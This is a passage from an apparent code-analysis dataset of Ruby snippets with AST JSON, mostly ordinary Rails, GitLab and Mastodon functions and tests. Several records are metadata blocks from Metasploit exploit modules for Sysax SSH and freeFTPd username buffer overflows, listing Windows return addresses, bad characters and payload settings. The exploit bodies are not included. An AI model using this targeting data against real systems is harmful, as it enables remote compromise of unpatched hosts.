'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',\n            {\n              'Rop' => false,\n              'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe\n            }\n          ],\n          [\n            'Sysax 5.53 on Win2K3 SP1/SP2',\n            {\n              'Rop' => true,\n              'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-02-27',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [ OptInt.new('RPORT', [false, 'The target port', 22]) ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Sysax 5.53 SSH Username Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in Sysax's SSH service.  By\\n\"]},{\"type\":\"str\",\"children\":[\"          supplying a long username, the SSH server will copy that data on the stack\\n\"]},{\"type\":\"str\",\"children\":[\"          without proper bounds checking, therefore allowing remote code execution\\n\"]},{\"type\":\"str\",\"children\":[\"          under the context of the user.  Please note that previous versions\\n\"]},{\"type\":\"str\",\"children\":[\"          (before 5.53) are also affected by this bug.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Craig Freyman\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-10060\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"79689\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18535\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000:\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sysax 5.53 on Win XP SP3 / Win2k3 SP0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4204137]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sysax 5.53 on Win2K3 SP1/SP2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4641340]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-02-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target port\"]},{\"type\":\"int\",\"children\":[22]}]}]}]}]}]}]}","id":"33b86693-9cb2-4c17-8e16-f3a29ccab78c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":450,"raw_source":"def test_should_group_by_summed_field_having_condition_from_select\n    skip unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :SQLite3Adapter)\n    c = Account.select(\"MIN(credit_limit) AS min_credit_limit\").group(:firm_id).having(\"min_credit_limit > 50\").sum(:credit_limit)\n    assert_nil       c[1]\n    assert_equal 60, c[2]\n    assert_equal 53, c[9]\n  end","complexity_score":17.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_group_by_summed_field_having_condition_from_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]},{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"select\",{\"type\":\"str\",\"children\":[\"MIN(credit_limit) AS min_credit_limit\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"firm_id\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"min_credit_limit > 50\"]}]},\"sum\",{\"type\":\"sym\",\"children\":[\"credit_limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[60]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[53]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]}]}]}","id":"22e6af2c-b7c8-4e2c-aed7-ceda1493d152"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":292,"raw_source":"def initialize_stripe\n    Stripe.api_key = Settings::General.stripe_api_key\n\n    return unless Rails.env.development? && Stripe.api_key.present?\n\n    Stripe.log_level = Stripe::LEVEL_INFO\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_stripe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stripe\"]},\"api_key=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"stripe_api_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stripe\"]},\"api_key\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stripe\"]},\"log_level=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stripe\"]},\"LEVEL_INFO\"]}]}]}]}","id":"811b91d2-d044-45a2-b821-3d3bc75229b2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/custom_filter.rb","start_line":53,"raw_source":"def expires_in\n    return nil if expires_at.nil?\n\n    EXPIRATION_DURATIONS.find { |expires_in| expires_in.from_now >= expires_at }\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXPIRATION_DURATIONS\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expires_in\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expires_in\"]},\"from_now\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"expires_at\"]}]}]}]}]}","id":"6c847a2d-c1bd-4ebc-ba01-23b5a6723bce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request_throttle_data.rb","start_line":119,"raw_source":"def throttled_response_headers\n        common_response_headers.merge(\n          {\n            'Retry-After' => retry_after.to_s,\n            'RateLimit-ResetTime' => reset_time.httpdate\n          }\n        )\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"throttled_response_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"common_response_headers\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Retry-After\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_after\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-ResetTime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_time\"]},\"httpdate\"]}]}]}]}]}","id":"996bf023-a808-47e1-bb78-ac212b3d7917"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/point.rb","start_line":47,"raw_source":"def async_reverse_geocode\n    return unless DawarichSettings.reverse_geocoding_enabled?\n\n    ReverseGeocodingJob.perform_later(self.class.to_s, id)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"async_reverse_geocode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"reverse_geocoding_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReverseGeocodingJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"dad9f8cf-68a2-4b1f-90f1-d02af3c65992"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":1169,"raw_source":"def create_poll_votes(rows, &block)\n    create_records(rows, \"poll_vote\", POLL_VOTE_COLUMNS, &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_poll_votes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"create_records\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"poll_vote\"]},{\"type\":\"const\",\"children\":[null,\"POLL_VOTE_COLUMNS\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"af799d33-0165-481f-b78a-e50346f6a2bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/build_service.rb","start_line":102,"raw_source":"def public_params\n      # Additional params may be assigned later (in a CreateService for example)\n      public_issue_params = [\n        :title,\n        :description,\n        :confidential\n      ]\n\n      params.slice(*public_issue_params)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"public_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_issue_params\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"confidential\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_issue_params\"]}]}]}]}]}","id":"1fe2c854-9571-4d12-8daf-8a8e2757bd75"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":315,"raw_source":"def test_scoping_is_correctly_restored\n    Comment.unscoped do\n      SpecialComment.unscoped.created\n    end\n\n    assert_nil Comment.current_scope\n    assert_nil SpecialComment.current_scope\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoping_is_correctly_restored\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"unscoped\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialComment\"]},\"unscoped\"]},\"created\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"current_scope\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialComment\"]},\"current_scope\"]}]}]}]}","id":"d1016a98-3f85-4031-9d78-b9f96ec0091a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/freeftpd_user.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'freeFTPd 1.0 Username Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in the freeFTPd\n          multi-protocol file transfer service. This flaw can only be\n          exploited when logging has been enabled (non-default).\n        },\n        'Author' => 'MC',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2005-3683'],\n          [ 'OSVDB', '20909'],\n          [ 'BID', '15457']\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 800,\n          'BadChars' => \"\\x00\\x20\\x0a\\x0d\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => %w{win},\n        'Targets' => [\n          [\n            'Windows 2000 English ALL',\n            {\n              'Platform' => 'win',\n              'Ret' => 0x75022ac4,\n            },\n          ],\n          [\n            'Windows XP Pro SP0/SP1 English',\n            {\n              'Platform' => 'win',\n              'Ret' => 0x71aa32ad,\n            },\n          ],\n          [\n            'Windows NT SP5/SP6a English',\n            {\n              'Platform' => 'win',\n              'Ret' => 0x776a1799,\n            },\n          ],\n          [\n            'Windows 2003 Server English',\n            {\n              'Platform' => 'win',\n              'Ret' => 0x7ffc0638,\n            },\n          ],\n        ],\n        'DisclosureDate' => '2005-11-16',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"freeFTPd 1.0 Username Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in the freeFTPd\\n\"]},{\"type\":\"str\",\"children\":[\"          multi-protocol file transfer service. This flaw can only be\\n\"]},{\"type\":\"str\",\"children\":[\"          exploited when logging has been enabled (non-default).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-3683\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"20909\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"15457\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000 \\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 English ALL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0/SP1 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906979501]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT SP5/SP6a English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2003441561]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2003 Server English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2147223096]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-11-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"997fa1ec-0cf5-4810-be2c-8fa20d96a46a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/ftpbounce.rb","start_line":44,"raw_source":"def rport\n    datastore['BOUNCEPORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BOUNCEPORT\"]}]}]}","id":"3f9a9519-71dc-47d0-881f-edb8a7118ba6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/git/wiki_push_service_shared_examples.rb","start_line":350,"raw_source":"def current_sha\n    repository.commit('master')&.id || Gitlab::Git::SHA1_BLANK_SHA\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"current_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"commit\",{\"type\":\"str\",\"children\":[\"master\"]}]},\"id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"SHA1_BLANK_SHA\"]}]}]}","id":"5c662b9b-96be-415d-a7f3-853c1f74fa79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/created_at_filterable.rb","start_line":10,"raw_source":"def self.scoped_table\n      arel_table.alias(table_name)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scoped_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"alias\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]}]}","id":"459ad1d3-6d97-4cc6-92a9-41b853b499b0"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":819,"raw_source":"def test_verify_authenticity_token_is_not_prepended\n    @controller = PrependFalseController.new\n    get :index\n    expected_callback_order = [\"custom_action\", \"verify_authenticity_token\"]\n    assert_equal(expected_callback_order, @controller.called_callbacks)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_verify_authenticity_token_is_not_prepended\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrependFalseController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_callback_order\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"custom_action\"]},{\"type\":\"str\",\"children\":[\"verify_authenticity_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_callback_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"called_callbacks\"]}]}]}]}","id":"db23d3a7-8086-4aba-af8a-fea9260b3eda"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":201,"raw_source":"def test_clear_collection_should_not_change_updated_at\n    # GH#17161: .clear calls delete_all (and returns the association),\n    # which is intended to not touch associated objects's updated_at field\n    ship = Ship.create(name: \"dauntless\")\n    part = ShipPart.create(name: \"cockpit\", ship_id: ship.id)\n\n    ship.parts.clear\n    part.reload\n\n    assert_nil part.ship\n    assert_not_predicate part, :updated_at_changed?\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clear_collection_should_not_change_updated_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ship\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"dauntless\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"part\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShipPart\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"cockpit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ship_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"parts\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"ship\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"part\"]},{\"type\":\"sym\",\"children\":[\"updated_at_changed?\"]}]}]}]}","id":"13262903-de76-4094-8b2e-8fe50e4d92d9"}
